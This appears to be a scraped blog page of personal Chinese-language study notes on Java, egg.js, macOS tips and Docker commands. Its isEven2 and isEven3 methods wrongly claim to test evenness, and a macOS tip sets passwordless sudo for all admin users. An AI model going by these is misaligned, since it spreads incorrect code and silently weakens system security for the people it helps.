Giter Site home page Giter Site logo

blog's People

Contributors

tenchiang avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Forkers

okevinok

blog's Issues

Java笔记——Part4(Java语言高级)

面向对象三要素

  1. 封装
  2. 继承
  3. 多态

继承

继承就是代码的重用,共性的抽取
继承类似设计模式中的开闭原则:对修改关闭,对添加开放。(通过添加而不是修改进行新功能的添加)

  • x 方法中的局部变量
  • this.x 本类中的成员变量
  • super.x 父类中的成员变量

重写Override

重写Override:方法名一样,参数也一样(好理解,外观都一样才能确定是一个方法,然后进行重写,里面的方法体有所变化,或者方法的权限修饰符有变化)
重载Overload:方法名一样,参数不一样

  • @OverRide注解:保证是有效的重写覆盖,而不是新创建了个方法(这不是必须的但是避免出错)
  • 子类重写方法的返回值范围,不能超过父类返回值的范围(父类返回String,子类就不能返回Object)(保证父类的范围更大)
  • 子类重写方法的权限修饰符,必须大于等于父类的(public > protected > > private)
  • 构造方法的重写:子类构造方法默认有个父类构造方法的调用super()(所以是先父类构造方法,再子类构造方法,跟普通方法和成员变量的访问顺序是相反的)
  • super的构造方法调用,必须是子类构造方法的第一个语句(且只有子类的构造方法才能调用父类的构造方法)(只能是第一句,且不能调用多次)
  • 静态方法不能使用super?
  • this也可以调用自己的构造方法:但是1. 不能调用自己(但是可以无参构造调用有参构造) 2. 也必须是第一句

抽象类

  • 作为类别的类 如狗是具体类 动物就是抽象类
  • 抽象方法所在的类,必须是抽象类(反之不一定)
  • 抽象类可以有普通的成员变量和方法(包括构造方法)
  • 不能直接实例化抽象方法,必须用子类继承,并且重写(实现)所有的抽象方法(去掉abstract),除非子类也是抽象类可以不用实现(抽象方法被继承)
public abstract class Person {
    public abstract void eat(); // 抽象方法就是有声明无实现
}

接口

跟抽象类有些相似:不能直接new 要实现全部的抽象方法
和抽象类的区别:没有静态代码块 没有构造函数
和类的区别:类只能继承一个父类 接口可以同时实现多个接口(接口是多继承的)

public abstract Xxx();
public class Yyy implements Xxx {}

接口的冲突

实现多个接口 中有冲突的默认方法:实现类必须重写冲突的默认方法
实现类的父类 和 接口的默认方法 冲突:父类方法优先(继承优先接口)
接口之间的多继承中有默认方法的冲突:重写默认方法(default关键字要保留!)
冲突:覆盖重写最保险

JDK7

  1. 常量
  2. 抽象方法 (接口不是类,虽然会编译为.class)
  • abstract 可省略 修饰符不能为 private protected

JDK8

  1. 默认方法
  • default xxx () { 方法体 }
  • 解决接口升级:新接口添加默认方法(默认已实现),就不用修改就的接口实现类,直接继承
  1. 静态方法
  • static xxx () {}
  • 静态方法不能被继承
  • 默认方法、静态方法都可以被覆盖,但是默认方法可以被继承但是静态方法不能

JDK9

  1. 私有方法(解决多个默认/静态方法间的代码重复)
    1. 普通私有方法
    2. 静态私有方法

接口中的成员常量

  • public static final (省略的效果一样)
  • 而且必须在定义的时候指定值
  • 常量名 大写 下划线分隔

Java笔记——Part3(常用API_1)

java.util.Scanner:输入

  1. 可以自动关闭sc.close()
  2. 默认空白字符是间隔符
  3. 如果指定类型,如果输入其他类型,那么终止(除了空白符)
import java.util.Scanner;
public class Main {
    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);
        while (sc.hasNextInt()) System.out.println(sc.nextInt()); // hasNextInt会引起block
    }
}

使用sc.hasNext:避免java.util.InputMismatchException
注意:一般输入字符串不会mismatch的,会一直next,除非输入EOFCtrl+D,如果对EOF进行next接受那么会java.util.NoSuchElementException
输入字符串hasNext一直为true,输入EOF那么返回false
Scanner的一个小例子:

import java.util.Arrays;
import java.util.Scanner;

public class Main {

    public static void main(String[] args) {
        Scanner sc = new Scanner(System.in);

        System.out.print("先输入数组的长度: ");
        int[] arr = new int[sc.hasNextInt() ? sc.nextInt() : 0];
        if (arr.length == 0) return;

        int max = 0;
        for (int i = 0; i < arr.length; i++) {
            System.out.print("请输入第" + (i + 1) + "个变量: ");
            if (sc.hasNextInt()) arr[i] = sc.nextInt();
            if (arr[max] < arr[i]) max = i;
        }
        System.out.println(Arrays.toString(arr) + "最大值为" + arr[max]);
    }
}

可以看到,数组可以在运行时定义(变量),但是一旦定义好,那么久无法改变了

判断偶数的三种方法

public class Main {

    public static void main(String[] args) {
        int odd = 7, even = 8;
        System.out.println(isEven1(odd) + ", " + isEven1(even));
        System.out.println(isEven2(odd) + ", " + isEven2(even));
        System.out.println(isEven3(odd) + ", " + isEven3(even));
    }

    /**
     * 被2整除(为0)就是偶数 为1的是奇数
     * 0 % 2 = 0
     * 1 % 2 = 1
     * 2 % 2 = 0
     * 3 % 2 = 1
     */
    static boolean isEven1 (int num) {
        return num % 2 == 0;
    }

    /**
     * 与自身小一的数相与 偶数为0 奇数自身小一的数
     * 7 & 6 = 0x00000007 & 0x00000006 = 0111 & 0110 = 0110 = 6
     * 8 & 7 = 0x00000008 & 0x00000007 = 1000 & 0111 = 0
     */
    static boolean isEven2 (int num) {
        return (num & num - 1) == 0;
    }

    /**
     * 按位与自身的负数形式等于自身的为偶数 奇数为1
     * 负数的16进制是取反加一
     * 8 & -8 = 0x00000008 & 0xfffffff8 = 8
     * 7 & -7 = 0x00000007 & 0xFFFFFFF9 = 1
     */
    static boolean isEven3 (int num) {
        return (num & -num) == num;
    }
}

java.util.Random:随机数

nextInt默认为整个int范围,传入bound则是[0, bound),意思是 0 <= x < bound
小技巧:整体+1就是[1, bound]( 1 <= x <= bound),或者(0, bound](0 < x <= bound)

import java.util.Random;

public class Main {

    public static void main(String[] args) {
        Random r = new Random();

        int bound = 3;
        int res = r.nextInt(bound);
        System.out.println(res); // [0, bound)
        System.out.println(res + 1); // [1, bound]
    }
}

注意:

  • next方法没有成功解析的话(nextInt无法接收整数以外的数 next也无法接收EOF),那么你的输入不会被忽略。因为它或许能被其它格式解析(所以异常会始终存在,如果用while(true)那么就是死循环)
  • System.in是InputStream的对象,并且关掉之后不能再打开(java.lang.IllegalStateException)
  • 输入EOF(ctrl+d)后也不能恢复了(java.util.NoSuchElementException)
  • 只有输入格式错误才能重试(java.util.InputMismatchException)
  • System.in System.out System.err 三个流是不能关闭的。这是进程的标准输入输出,程序启动时自动开启,退出时关闭。关闭这三个流,说明已经准备要退出程序了。

综合应用:猜数字游戏(其实超纲了,主要已经是异常处理了)

import java.util.Random;
import java.util.Scanner;
import java.util.InputMismatchException; // 格式输入错误
import java.util.NoSuchElementException; // EOF

public class Main {

    public static void main(String[] args) {

        int bound;
        Scanner sc = null;
        while (true) {
            try {
                System.out.print("请输入猜数范围(1到几):");
                sc = new Scanner(System.in);
                if ((bound = sc.nextInt()) <= 1) continue;

                break;
            } catch (InputMismatchException e) { // 输入格式错误 还能重试
                System.out.print("请输入数字!");
            } catch (IllegalStateException e) { // 这个错误是属于 java.lang 的
                System.out.println("标准输入已关闭");
                return; // 没救了 因为一旦 System.in关闭 就开启不了了
            } catch (NoSuchElementException e) {
                System.out.println("你输入了EOF");
                return; // 似乎也没救了
            } catch (Exception e) {
                e.printStackTrace();
                return;
            }
        }
        int res = new Random().nextInt(bound) + 1; // [1, bound]

        int num;
        int count = 0;
        while (true) {
            try {
                System.out.print("请在1到" + bound + "之间猜一个数字:" + res);
                sc = new Scanner(System.in);
                if ((num = sc.nextInt()) < 1) continue;

                count++;
                if (num < res) System.out.println("小了");
                else if (num > res) System.out.println("大了");
                else break;
            } catch (InputMismatchException e) { // 输入格式错误 还能重试
                System.out.print("请输入数字!");
            } catch (IllegalStateException e) { // 这个错误是属于 java.lang 的
                System.out.println("标准输入已关闭");
                return; // 没救了 因为一旦 System.in关闭 就开启不了了
            } catch (NoSuchElementException e) {
                System.out.println("你输入了EOF");
                return; // 似乎也没救了
            } catch (Exception e) {
                e.printStackTrace();
                return;
            }
        }
        System.out.println("猜对了!一共猜了" + count + "次");
    }
}

参考:
ScannerInt循环读取判断整数(用异常)
在同一进程中多次调用scanner出现NoSuchElementException异常解决办法
为什么scanner 抛出异常后就一直在这循环啊
How to avoid Scanner from eof and keep him alive
System.in关闭问题
java中的 try、catch、finally及finally执行顺序详解
关闭扫描仪而不关闭System.in

使用try-with-resources(>=jdk7)重构猜数字游戏

import java.util.Random;
import java.util.Scanner;

public class Main {

    public static void main(String[] args) {

        try (Scanner sc = new Scanner(System.in)) {
            int bound = 0;
            while (true) {
                System.out.print("请输入猜数范围(1到几):");
                try {
                    bound = Integer.parseInt(sc.next());
                } catch (NumberFormatException e) {
                    System.out.print("请输入数字!");
                    continue;
                }
                if (bound > 1) break;
            }

            int count = 0;
            int res = new Random().nextInt(bound) + 1; // [1, bound]
            while (true) {
                System.out.print("请在1到" + bound + "之间猜一个数字:" + res);
                int num = 0;
                try {
                    num = Integer.parseInt(sc.next());
                } catch (NumberFormatException e) {
                    System.out.print("请输入数字!");
                    continue;
                }
                if (num < 1) continue;

                count++;
                if (num < res) System.out.println("小了");
                else if (num > res) System.out.println("大了");
                else break;
            }
            System.out.println("猜对了!一共猜了" + count + "次");
        }
    }
}

java.util.ArrayList

  • 程序运行时可以改变长度
  • 赋值号右边的泛型(模板类型?)可省略但是还得加尖括号(>=jdk7)
  • 泛型只能存放对象(引用类型而不是基本类型,要存基本类型用数组或者基本类型对应的包装类
  • 可以直接打印输出(类似Array.toString()的效果)
import java.util.ArrayList;

public class Main {

    public static void main(String[] args) {
        ArrayList<String> list = new ArrayList<>();

        if (list.add("a") == false) {
            System.out.println("插入数据失败");
            return;
        }
        list.add("z");
        list.add("b");
        list.add("c");

        list.get(1);
        String removed = list.remove(1);
        System.out.println("已删除" + removed);

        System.out.println(list);
        System.out.println("长度为" + list.size());

        list.forEach(str -> System.out.print(str + " "));
    }
}

ArrayList包装类示范(除了泛型填包装类,其它都当做基本类型用就得了>=jdk5的自动装箱自动拆箱>)

import java.util.ArrayList;

public class Main {

    public static void main(String[] args) {
        ArrayList<Integer> list = new ArrayList<>();

        list.add(100);
        list.add(200);
        list.add(300);

        int num = list.get(2);

        System.out.println(list + " " + num);
    }
}

java.lang.包装类

  • Byte --- byte
  • Short --- short
  • Integer --- int
  • Long --- long
  • Float --- float
  • Double --- double
  • Character --- char
  • Boolean --- boolean

重点要记的就两个,Integer和Character,其它都是首字母大写

自动装箱自动拆箱(>=jdk5)

  • 自动装箱:基本类型 ---> 包装类型
  • 自动拆箱:包装类型 ---> 基本类型

java.lang.String

  • 所有字符串字面值,都是String类的实例对象
  • 字符串是常量,一旦生成不可更改
  • 因为不可更改,所以可以共享(字符串常量池)
  • 像char[]字符数组,其实是byte[]字节数组

创建字符串 3+1 种方法

3种构造方法+1种直接创建
注意:双引号括起来的,就是字符串对象(类似于自动装箱但不是),且双引号括起来的字符串(直接创建的字符串)都在字符串常量池中(其他方式生成的字符串不在)

public class Main {

    public static void main(String[] args) {
        String s1 = new String();
        String s2 = new String(new char[]{ '0', 'A', 'a' });
        String s3 = new String(new byte[]{ 48, 65, 97 });
        String s4 = "0Aa";

        System.out.println(s1);
        System.out.println(s2);
        System.out.println(s3);
        System.out.println(s4);
    }
}

字符串常量池

直接用双引号创建的字符串,是在字符串常量池的,其他形式创建的字符串不在(虽然也是常量)
字符串常量池是堆里面的一块区域(>=jdk7),这块区域专门保存堆中字符串的地址(字节数组)
注意比较运算符==

  • 对于基本类型:数值之间
  • 对于引用类型:地址值之间(其实很好理解,值就是地址嘛)
public class Main {

    public static void main(String[] args) {
        String s1 = "abc";
        String s2 = "abc";
        String s3 = new String("abc");

        System.out.println(s1 == s2);
        System.out.println(s1 == s3);
        System.out.println(s2 == s3);
    }
}

注意:可以看出,直接从字符串构造函数里传字符串,会生成一份拷贝,所以地址值就不一样了(因为字符串本身不可变,所以这是没有意义的)
同理,只要是往构造函数传了东西,那么生成的字符串跟传入的内容就不是一个概念了,起码内存地址不一样

public class Main {

    public static void main(String[] args) {
        char[] chars = { '0', 'A', 'a' }; // 简写形式只能在定义+初始化的时候使用 其它还是得new
        String s1 = new String(chars);

        byte[] bytes = { 48, 65, 97 };
        String s2 = new String(bytes);

        System.out.println(s1.hashCode() == chars.hashCode()); // false
        System.out.println(s2.hashCode() == bytes.hashCode()); // false
    }
}

字符串常用方法

  • public boolean equals(Object obj) 可以传任何对象,但是只有是字符串对象且值相同时才返回true 否则返回false
public class Main {

    public static void main(String[] args) {
        char[] chars = { '0', 'A', 'a' };
        String s1 = new String(chars);

        byte[] bytes = { 48, 65, 97 };
        String s2 = new String(bytes);


        System.out.println(s1.equals(chars)); // false
        System.out.println(s2.equals(bytes)); // false
        System.out.println(s1.equals(s2)); // true
    }
}

注意:推荐"常量".equals(xxx)而不是字符串变量.equals(常量)因为变量可能为null会报错

  • equalsIgnoreCase就是equals忽略大小写
  • public int length()返回字符串的长度
  • public String concat(String)拼接成新的字符串
public class Main {

    public static void main(String[] args) {
        String s1 = "abc";
        String s2 = "123";
        String s3 = s1.concat(s2);

        System.out.println(s3); // abc123
        System.out.println(s1 == s3); // false
        System.out.println(s2 == s3); // false
    }
}
  • public char charAt(int index)返回字符串中指定位置的字符
  • public int codePointAt(int index)返回只服从中指定位置字符的数值
  • public int indexOf(String | char)返回字符串中子串或字符第一次出现的位置索引 如果没有则返回-1
  • public String substring(beginIndex[, endIndex])截取部分为新字符串 [beginIndex, endIndex)
  • public char[] toCharArray()字符串转为字符数组
  • public byte[] getBytes()字符串转为字节数组
  • public String replace(old, new)把字符串中所有的指定字符/字符串替换为新的字符/字符串
  • public String toLowerCase()转为小写,如果没变化,则返回原来地址(不产生新字符串),否则产生新的字符串
  • public String toUpperCase()转为大写
  • public String[] split(String)切割字符串
import java.util.Arrays;

public class Main {

    public static void main(String[] args) {
        String s1 = "0Aa";
        System.out.println(s1.charAt(1)); // A
        System.out.println(s1.codePointAt(1)); // 65
        System.out.println(s1.indexOf('A')); // 1
        System.out.println(s1.indexOf("A")); // 1
        System.out.println(s1.substring(1)); // Aa [beginIndex, length())
        System.out.println(s1.substring(1, 2)); // A [beginIndex, endIndex)

        System.out.println(Arrays.toString(s1.toCharArray())); // [0, A, a]
        System.out.println(Arrays.toString(s1.getBytes())); // [48, 65, 97]

        System.out.println("09990".replace('0', '1')); // 19991
        System.out.println("aabbccaa".replace("aa", "zz")); // zzbbcczz

        System.out.println("abc" == "abc".toLowerCase()); // true
        System.out.println("abc" == "abc".toUpperCase()); // false
        
        System.out.println(Arrays.toString("aaa,bbb,ccc".split(",")));
    }
}

注意:

  • replace传字符串其实是字符串序列,"aaa".replace("aa", "b")等于多少?ba还是ab
    如果是字符串序列,那么是ba,意思就是从字符串字面值从左到右开始尽量多的匹配(贪心原则)
  • split的参数字符串是正则表达式,所以不能直接切英文句点.,需要用\\.

static关键字

  • 相同点、共性、不改变的
  • static的变量或方法是属于类的,而不是属于对象(但是可以共享使用)
  • 静态方法只能访问静态变量和静态方法,普通的既可以访问静态也可以访问普通
  • 静态变量和方法都在方法区(就是存类相关信息的区域)
  • 静态代码块:第一次用到类时,静态代码块执行且执行一次(而且比所有非静态要先)(适合一次性的对静态变量赋值)
  • 可以根据静态变量实现类似id的自动生成

java.util.Arrays 数组工具类

  • public static String toString(数组)数组转为字符串[x, x, x]格式
  • public static void sort(数组)数组升序排序(从小到大)
import java.util.Arrays;

public class Main {

    public static void main(String[] args) {
        int[] arr = {4, 3, 2, 1};

        Arrays.sort(arr);
        String str = Arrays.toString(arr);
        System.out.println(str); // [1, 2, 3, 4]

        char[] chars = str.toCharArray();
        Arrays.sort(chars);
        System.out.println(chars); // char[]可以直接打印    ,,,1234[]
    }
}

java.lang.Math数学工具类

  • public static double abs(double a) 绝对值
  • public static double ceil(double a) 向上取整
  • public static double floor(double a) 向下取整
  • public static long round(double a) 四舍五入
    public static void main(String[] args) {
        System.out.println(Math.abs(-3.14)); // 3.14
        System.out.println(Math.ceil(3.14)); // 4.0
        System.out.println(Math.floor(3.14)); // 3.0
        System.out.println(Math.round(3.5)); // 4L
    }

egg.js学习笔记

使用ts开发egg

$ mkdir showcase && cd showcase
$ npm init egg --type=ts
$ npm i
$ npm run tsc
$ npm start

在prod环境下,一定要先npm run tsc把ts转为js然后再npm start不然就算运行起来了,访问也会500报错,而且不知道是哪里报错的!

ts-egg helper

// app/extend/heper.ts
import { IHelper } from 'egg'

export default {

    /**
     * 打印日志信息
     * @param {string} title 日志信息标题 或者备注信息  title会包含msg
     * @param {any} msg 信息对象 里面的所有字段会被打印出来
     * 如果msg不为对象那么msg原样输出 为空则不输出
     */
    printLog (this: IHelper, title: string = '', msg: any = '') {
        const { ctx } = this
        console.log(`\n[${title}] >>>>>>>>>> ${new Date().toLocaleString()} ${ctx.url}\n`)
        if (typeof msg == 'object')
            Object.keys(msg).forEach( key => console.log(key, ': ', msg[key], '\n') ) // 这样才能显示object
        else if (msg)
            console.log(`${msg}\n`)
        console.log(`[${title}] <<<<<<<<<< ${new Date().toLocaleString()}\n`)
    },

}

注意虽然函数的第一个参数是this,但是调用的时候完全不用管,直接ctx.helper.printLog('xxx', { obj })

egg定时任务

import { Application, Context } from 'egg'

export default (app: Application) => {
    return {
        schedule: {
            ...app.config.schedule
        },
        async task (ctx: Context) {
            const { apiServer } = app.config
            const url: string = `${apiServer}/schedule/order/unpaid/delete`

            try {
                /**
                 * data: { message: 'Not Found' }, status: 404
                 * data: { code: 0, data: 3, msg: 'success' }, status: 200
                 */
                const { data: { data, message }, status } = await ctx.curl(url, { dataType: 'json' })

                console.log(`已删除 ${data} 个订单`)
                
                if (status == 200)
                    ctx.logger.info(`已删除 ${data} 个订单`)
                else
                    ctx.logger.error(`删除未支付超时订单失败: ${status} ${message}`)
            } catch (error) {
                /**
                 *   errno: 'ECONNREFUSED',
                 *   code: 'ECONNREFUSED',
                 *   syscall: 'connect',
                 *   address: '127.0.0.1',
                 *   port: 7001,
                 *   name: 'RequestError',
                 *   data: undefined,
                 *   path: '/schedule/order/unpaid/delete',
                 *   status: -1,
                 */
                const { path, name, errno } = error
                ctx.logger.error(`删除未支付超时订单失败: ${path} ${name} ${errno}`)
            }

        }
    }
}

schedule通常有两个参数:

  • type
    • worker 每次随机一个worker运行
    • all 每次所有worker运行
  • interval 执行间隔
    • 数字类型,单位为毫秒数,如 5000
    • 字符类型,会通过 ms包 转换成毫秒数,如 5s、5m分钟(参考ms包的格式)

关于type,在单机运行,如果我有4核,那就有4个worker(默认)

egg日志logger

注意:prod模式下日志是输出到~/logs/appName/目录的。在项目目录下看 appName/run/application_config.json 的 config.logger.dir 就知道路径了。其它模式是输出到appName/logs/appName/
参考:eggjs/egg#489 (comment)

日志分为几个类型

  • ctx.logger 处理请求时上下文级别
  • app.logger 应用级别(启动阶段)
    app.coreLogger -> egg_web.log (框架和插件开发)
  • agent.logger 开发框架和插件在 Agent 进程
    Agent进程、agent.coreLogger

日志分为app.loggerctx.logger,logger又分为infowarndebugerror(new Error())

app.loggerctx.logger的区别

ctx.logger多了一些信息[用户/IP/traceId/花费ms method url],app.logger没有用户和traceId?

日志级别

  • NONE 不打印到console.Transport日志打印通道
  • DEBUG 所有级别
  • INFO 输出到文件
  • WARN 输出到文件
  • ERROR 输出到文件

输出到文件级别的日志,可由config配置,如config.logger.level='INFO'

获取客户端真实IP(前置代理模式)

// config/config.default.js
config.proxy = true
config.maxProxyCount = 1 // 防伪造IP头X-Forwarded-For: fake, client, proxy1, proxy2

// 使用
ctx.ip
ctx.host
ctx.protocol

X-Forwarded-For 等传递 IP 的头格式: X-Forwarded-For: client, proxy1, proxy2
参考:前置代理模式

MacOS小技巧

Terminal下使用git log、git diff怎么翻页

空格向下翻页
b 向上翻页
q 退出

Mac里面特别讨厌的地方!

覆盖文件夹是真覆盖, 被覆盖的文件夹里面的文件统统没有!!!
解决方案

cp -R new/ old/

参考: https://newsn.net/say/mac-folder-merge.html

Mac写入ntfs格式硬盘

diskutil list # 查看ntfs硬盘的名称
sudo vi /etc/fstab
LABEL=硬盘的名称 none ntfs rw,auto,nobrowse # 注意逗号之间没有空格
# 重新拔插硬盘
open /Volumes/
# 1、把硬盘快捷方式拖到方便到地方, 如Finder的个人收藏侧边栏因为不会自动出现在Finder到位置了
# 2、或者创建软连接
mkdir -p ~/Desktop/xxx
ln -s /Volumes/HD_NAME ~/Desktop/xxx
# 备注: 如果label name不行还可以用uuid
diskutil info /Volumes/HD_NAME | grep UUID
sudo vi /etc/fstab
UUID=B83735C0-40A9-478B-9689-FD98941041C3 none ntfs rw,auto,nobrowse

以上就相当于手动输入以下命令

sudo umount /Volumes/750g/
sudo mount -t ntfs -o rw,auto,nobrowse /dev/disk3s1 ~/Desktop/750g/

提示mount_ntfs: /dev/disk3s1 on /Users/yy/Desktop/750g: Read-only file system

Mac上连接安卓手机

1、brew install android-file-transfer
2、HandSShaker

GoldenDict for Mac开启翻译剪贴板导致无法复制

去首选项,把热键从 Command+C+C 改为 Command+Space (Command+C也不行)

Mac上如何打开ftp?

open ftp://192.168.1.174:2121

Mac有哪些好用的压缩软件?

  1. Keka(图形界面)
  2. p7zip(控制台)

To install p7zip using Homebrew, first update your brew formulae to be sure you are getting the latest p7zip.

brew update

Use Homebrew to install p7zip:

brew install p7zip

Add all files in the sputnik directory to the compressed file heed.7z:

7z a heed.7z sputnik

Unzip heed.7z:

7z x heed.7z

参考:https://superuser.com/questions/548349/how-can-i-install-7zip-so-i-can-run-it-from-terminal-on-os-x

mac系统终端sudo免输入密码

sudo vi /etc/sudoers
##
## User privilege specification
##
root ALL=(ALL) ALL
%admin  ALL=(ALL) NOPASSWD: ALL

Java学习笔记

Java体系架构

Java不单是一门计算机编程语言,代表着一个平台,从应用平台上可以分3大块:

  • Java SE
  • Java EE
  • Java ME

Java SE

Java SE是各个应用平台的基础,包含了:

1. JVM

具体程序就是java.exe:启动JVM,把字节码文件Xxx.class加载并运行
注意执行的时候不要带class后缀java Xxx就行

2. JRE

  • Java SE API
  • JVM

3. JDK

把源代码Xxx.java编译为字节码Xxx.class,字节码文件也叫类文件

  • JRE
  • Development Tools

4. Java Language

JRE

JREJava Runtime Environment,是Java的运行环境,包含了Java虚拟机和标准库
JDK已经包含了JRE了,但是和单独安装的JREPrivate JRE不同,JDK自带的JRE叫Public JRE,只有一些细微的不同,总结一句话:装了JDK就没必要再装JRE了

Software Developers: JDK (Java SE Development Kit). For Java Developers. Includes a complete JRE plus tools for developing, debugging, and monitoring Java applications.
Administrators running applications on a server: Server JRE (Server Java Runtime Environment) For deploying Java applications on servers. Includes tools for JVM monitoring and tools commonly required for server applications, but does not include browser integration (the Java plug-in), auto-update, nor an installer. Learn more arrow
End user running Java on a desktop: JRE: (Java Runtime Environment). Covers most end-users needs. Contains everything required to run Java applications on your system.

来源:https://www.oracle.com/technetwork/java/javase/downloads/index.html

JER注意事项

JDK9之前,JRE所包含的java.exe是在/jdk/jre/bin/java.exe,而JDK9及之后的版本,不会有单独的public jre文件夹了而是在/jdk/bin/java.exe

JCP、JSR、RI、TCK

  • JCP
    相当于Java的标准化组织,是开放自由的,使Java发展的同时,不会被某一家公司垄断
  • JSR
    要加入Java的新特性的提议,叫做JSR正式文件,JCP投票通过后,方可成为Java的最终标准文件
  • RIReference Implementation
    根据JSR做出免费开源的代码实现,并要提供TCK
  • TCKTecnology Compatibility Kit
    技术兼容测试工具箱,方便对RI进行参考和测试兼容性

只有JSR通过后,提供了RI和TCK,并通过了TCK测试,才能够算是成为Java的一部分

PATH和CLASSPATH的区别

Windows只认Path,JVM只认CLASSPATH
CLASSPATH也可手动指定,如以下都是要运行c:\classpath\Hello.class的命令

java classpath c:\classpath Hello
java cp c:\classpath Hello

设置环境变量

PATH的优先级

  1. .当前目录(如果是Linux则不会,所以需要类似./start
  2. SET指定的环境变量
  3. 系统指定的环境变量Path
  4. 用户指定的环境变量Path

注意,命令行窗口会把系统环境变量和用户环境变量都取出来:

echo %path%
; 输出
; C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\Wind
; owsPowerShell\v1.0\;D:\sdk\platform-tools;D:\flutter\bin;d:\Program Files\Docker
; Toolbox

所以用bat进行环境配置还是有限制的,会导致和系统环境变量的重复和分号的重复

CLASSPATH的优先级

  1. java -cp自行指定的目录
  2. .当前目录
  3. 系统指定的环境变量CLASSPATH
  4. 用户系统指定的环境变量CLASSPATH

注意:JDK8之后就不包括/jdk/lib/dt.jar/jdk/lib/tools.jar,再加上之前说的jre位置的变化,所以JDK环境变量应该这样设置:

JDK8以及之前设置环境变量

setx CLASSPATH ".;%1\lib\dt.jar;%1\lib\tools.jar"
setx Path "%1\bin;%1\jre\bin;%PATH%"

可以看到JDK8的CLASSPATH命令下是文件而不是文件夹!是因为jar可以被理解为是压缩了很多class文件的特殊的文件夹
如果一个文件夹下有很多jar文件怎么办呢:c:\jars\*,JDK6开始可以用*号代表使用文件夹下的所有jar包

JDK9以及之后设置环境变量

setx Path "%1\bin;%PATH%"

把以上两段代码其中一段保存为SetJDK.bat,把解压后的JDK文件夹拖到这个文件上即可
注意:代码中%0代表拖入文件夹的绝对地址
setxset命令的区别:前者是可以设置用户环境变量的命令,后者是当前命令行窗口的session有效虽然优先级是最高的,但是关闭窗口设置的环境变量就没了

问题

当前目录D:\workspace\
代码文件./Hello.java
用到的库文件./classes/Console.class
如果你的代码中使用了标准库之外的类,怎么编译和运行?

javac -cp classes Hello.java
java cp .;classes Hello

把源代码.java和字节码.class文件分开

javac会把class文件生成在当前文件夹下,和java文件混在一起

javac -sourcepath src -d classes src/Main.java

意思就是源代码在src文件夹,编译好的类文件在classes文件夹

javac -verbose

小技巧:javac Xxx.java -verbose显示编译时期的详情,查看编译器是怎么搜索源代码文件和字节码文件的

javac Hello.java -verbose
; [源文件的搜索路径: .,D:\jdk8\lib\dt.jar,D:\jdk8\lib\tools.jar]
; [类文件的搜索路径: D:\jdk8\jre\lib\resources.jar,D:\jdk8\jre\lib\rt.jar,D:\jdk8\
jre\lib\sunrsasign.jar,D:\jdk8\jre\lib\jsse.jar,D:\jdk8\jre\lib\jce.jar,D:\jdk8\
jre\lib\charsets.jar,D:\jdk8\jre\lib\jfr.jar,D:\jdk8\jre\classes,D:\jdk8\jre\lib
\ext\cldrdata.jar,D:\jdk8\jre\lib\ext\dnsns.jar,D:\jdk8\jre\lib\ext\localedata.j
ar,D:\jdk8\jre\lib\ext\nashorn.jar,D:\jdk8\jre\lib\ext\sunec.jar,D:\jdk8\jre\lib
\ext\sunjce_provider.jar,D:\jdk8\jre\lib\ext\sunmscapi.jar,D:\jdk8\jre\lib\ext\s
unpkcs11.jar,D:\jdk8\jre\lib\ext\zipfs.jar,.,D:\jdk8\lib\dt.jar,D:\jdk8\lib\tool
s.jar]

Docker学习笔记

Redis for Docker

# --name <name> 给容器取名 你不取名也会自动取名的
# -d 后台运行
# --rm 结束就删除
docker run -p 6379:6379 --name redis -d redis:alpine

docker exec -it redis redis-cli # 方式一、推荐、直接进入redis服务端

# --link <list> Add link to another container
# --entrypoint <string> Overwrite the default ENTRYPOINT of the image
# -h <hostname> Server hostname (default: 127.0.0.1) 这是redis-cli的参数
docker run --rm -it --link redis:host --entrypoint redis-cli redis:alpine -h host # 方式二

docker run --rm -it --link redis:host --entrypoint sh redis:alpine # 方式三(其实跟方式二同理)
redis-cli -h host

# -a 列出所有容器包括已结束的
docker container ls

# -a 列出所有容器包括已结束的
# -q 只显示id
docker container ps

docker container pause <name/id>
docker container unpause <name/id>
docker container stop <name/id> # SIGTERM+SIG_KILL
docker container kill <name/id> # 强行终止SIG_KILL
docker container start <name/id>
docker container restart <name/id>

# -f 强制删除正在运行的容器 SIG_KILL
docker container rm <name/id>

docker container prune # 删除所有已结束的容器
docker logs redis # 查看名为redis容器的标准输出日志
docker run -it --rm --volumes-from redis alpine # 使用名为redis容器的存储

docker 进入正在运行的容器

docker container ls
docker exec -it <container id> /bin/bash

docker镜像操作

# [] 为界定符,不是可选符
dcoker images # 查看所有镜像
docker pull apline #
dcoker rmi [REPOSITORY|IMAGE ID] # 删 REPOSITORY 为镜像的名称
# REPOSITORY可能会只删除别名 IMAGE ID则会删除真正的镜像 当然如果只有一个镜像或没有别名 那么他们两个没有区别
docker run [REPOSITORY|IMAGE ID] -it /bin/sh # 运行镜像,产生容器

docker容器操作

docker container ls
docker ps -a # 查 -a为显示停止的容器

docker stop [CONTIANER ID] # 停止一个运行的容器
docker rm [CONTIANER ID] # 删除一个停止的容器

docker start [CONTIANER ID] # 启动一个停止了的容器
docker attach [CONTIANER ID] # 重新接管
docker exec -it [CONTIANER ID] /bin/sh # 在已经运行的容器中再开启一个shell

docker container cp mynginx:/etc/nginx . # 把容器里面的 Nginx 配置文件拷贝到本地

镜像制作与发布

# 注意:[REPOSITORY:TAG]中的:TAG是可选的
docker commit [CONTIANER ID] [REPOSITORY:TAG] # 打包容器为镜像 TAG 为镜像的版本
docker login # 登录hub.docker.com
docker tag [REPOSITORY:TAG] [NAMESPACE/REPOSITORY] # 创建镜像副本(取别名,IMAGE ID还是不变) 加入命名空间NAMESPACE/(为你的用户名)以便push
docker push [NAMESPACE/REPOSITORY] # 推送镜像
# 搭建使用私有镜像
docker run \
-d \ # 后台启动
-p 5000:5000 \
--restart always \ # 重启策略:异常退出后自动重启
--name registry registry:2 # 制定容器名称
docker push localhost:5000/REPOSITORY

使用Dockerfile文件构建镜像

docker build . -t [镜像名]docker会在当前目录找Dockerfile进行构建
Dockerfile最重要的就是指令(大小写不敏感):

FROM

以什么镜像为基础,如FROM alpine

RUN

运行shell命令,如安装依赖,镜像写在一行,因为一个RUN就是一个镜像层
镜像层:layer,对镜像的每一次操作都会产生新的layer,layer不会出现在docker images里,但会有IMAGE ID唯一标示,为了部分更新或者是增量更新(避免重复下载或构建)

COPY、ADD

都是把本地文件拷贝到镜像中,ADD对于网络文件更好
COPY . /path

EXPORT

